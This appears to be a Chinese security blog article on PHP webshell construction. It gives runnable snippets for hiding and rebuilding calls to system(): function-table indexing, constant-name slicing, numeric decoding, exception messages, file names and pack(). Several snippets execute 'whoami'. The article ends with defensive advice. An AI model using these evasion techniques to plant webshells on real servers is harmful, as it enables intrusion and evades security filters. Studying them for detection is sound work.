浅谈 webshell 构造之如何获取恶意函数
字数 960 2025-08-30 06:50:27
WebShell构造技术:恶意函数获取方法详解
前言
本文详细总结了几种在PHP环境中获取恶意函数的技术手段,这些技术可用于WebShell构造,帮助安全研究人员理解攻击手法并加强防御。
1. 使用get_defined_functions获取内部函数
get_defined_functions()是PHP内置函数,返回所有已定义函数的数组,包括内部(internal)和用户定义(user)函数。
技术要点:
- 函数原型:
get_defined_functions(): array - 返回数组包含两个键:"internal"和"user"
- 可通过索引直接调用危险函数
<?php
$a = (get_defined_functions());
$a["internal"][516]("whoami"); // 假设516是system函数的索引
?>
2. 利用get_defined_constants获取常量
get_defined_constants()返回所有常量的关联数组,键是常量名,值是常量值。
技术要点:
- 可搜索包含特定关键字的常量
- 通过字符串截取获取函数名
<?php
$a = get_defined_constants();
foreach ($a as $key => $value){
if (substr($key,0,7)=="INI_SYS"){
$x = strtolower(substr($key,4,6)); // 提取"system"
$x("whoami");
}
}
?>
3. 自定义函数构造法
通过自定义函数从数字构造出函数名,典型的混淆技术。
示例代码:
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
echo fun(451232); // 输出"system"
?>
4. 异常处理截取字符串
利用异常类的getMessage()方法获取构造的函数名。
技术要点:
- 使用
ParseError等异常类 - 通过异常消息获取构造的字符串
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage(); // 获取"system"
?>
5. 文件系统迭代器获取
利用DirectoryIterator或FilesystemIterator类,通过文件名构造函数。
技术要点:
DirectoryIterator::getFilename()获取文件名- 控制文件名或目录名来构造函数
<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
echo $item->getFilename() . "\n"; // 可能获取有用函数名
}
?>
6. pack函数构造字符串
使用pack()函数从ASCII码或十六进制构造字符串。
两种构造方式:
- 通过ASCII码构造:
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109); // "system"
?>
- 通过十六进制构造:
<?php
echo pack("H*", "73797374656d"); // "system"
?>
格式说明:
- "C6":6个无符号字符(ASCII码)
- "H*":任意长度的十六进制字符串
防御建议
- 禁用危险函数如
system、exec等 - 监控
get_defined_functions等函数的使用 - 限制异常信息的输出
- 控制文件系统操作权限
- 对
pack等数据打包函数进行监控
总结
本文介绍了多种获取恶意函数的技术,从直接获取到间接构造,展示了攻击者如何绕过限制执行恶意代码。理解这些技术有助于更好地防御WebShell攻击。